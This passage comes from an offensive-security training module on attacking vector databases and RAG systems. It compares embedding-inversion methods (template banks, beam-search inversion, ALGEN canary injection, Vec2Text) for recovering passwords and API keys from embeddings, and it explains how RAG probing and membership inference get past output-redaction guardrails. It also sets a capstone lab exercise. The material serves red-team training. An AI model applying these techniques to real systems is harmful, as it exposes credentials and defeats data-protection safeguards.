| Key strength | Fast, no training, works well when template bank covers the domain | Recovers structure without templates; dual-embedder mode reduces victim model queries | Works without knowing embedding model; retrieves actual document content via RAG probing | Highest reconstruction quality (~93% similarity); fully passive at attack time |
| Key weakness | Fails if no template matches the target structure | Slower; requires GPU; beam search may not converge on unusual text | Requires vector store write access; leaves forensic footprint | 60 hrs GPU training; model specific to one embedding model |
| Best when | Model known; target domain is common enterprise (passwords, cloud creds, API keys) | emb_fin.py produces low template similarity or "Weak"/"Unlikely" confidence |
Model unknown; RAG endpoint accessible; canary injection possible | Model known in advance; significant prep time available; need to attack many chunks from same model |
The typical decision path in a time-constrained engagement:
We start with emb_fin.py since it requires no training, no GPU, and completes in minutes. If template similarity exceeds 60-65% and confidence is "Strong" or "Moderate", the result is likely reliable.
If emb_fin.py produces low similarity or weak confidence, we run zero2text_impl.py to recover the actual text structure via beam search. This adds GPU cost and time, but does not depend on the template bank matching the target domain.
If the embedding model is unknown, we deploy the ALGEN canary pipeline. Canary injection lets the victim system produce the alignment embeddings, bypassing model identification entirely. The inference probing step retrieves actual document content through the RAG chat interface, and if output guardrails redact sensitive values, those redaction markers become detectable slots for membership inference. ALGEN requires the most target interaction (write access to the vector store plus RAG chat access), but is the only approach that works without knowing the embedding model.
If the embedding model is known well in advance and preparation time is available (for example, a multi-week engagement where the target architecture was identified during scoping, or where we obtain the required information early on in the assessment), we can train a Vec2Text model offline. The 60-hour investment pays off when attacking many chunks from the same embedding model, as each chunk takes only ~15 minutes with the highest reconstruction quality of any approach.
- Capstone: Start the VM Group "Attacking Embeddings Capstone". Then, identify a RAG system , get access to the embedding vectors, and retrieve a sensitive piece of information. In a previous step of the red team engagement, you already have identified a leaked password "Password1". As password list, use this 10k password list. To attack the embeddings, you can either do it locally or start the ZeroShot lab and upload the embeddings file there. Enter the reconstructed password as answer to this exercise.
Wrapping up
In this Module, we attacked vector databases to recover passwords, API keys, and credentials from embeddings. We started with reconnaissance — exporting embeddings, fingerprinting the embedding model, and triaging chunks to find high-value targets. Then we recovered a password from a 384-dimensional vector using both zero-shot approaches (template banks and beam-search inversion) and pre-trained approaches (ALGEN with canary injection and Vec2Text).
The key takeaway from the Pre-Trained Learning Unit is that output guardrails can't protect data when the stolen embedding encodes the unredacted text. Membership inference bypasses redaction entirely.
The limitations we encountered (token length, high-entropy values, model identification) aren't blockers. They shape which tool we reach for first, and the decision matrix at the end of this Module provides the framework for choosing.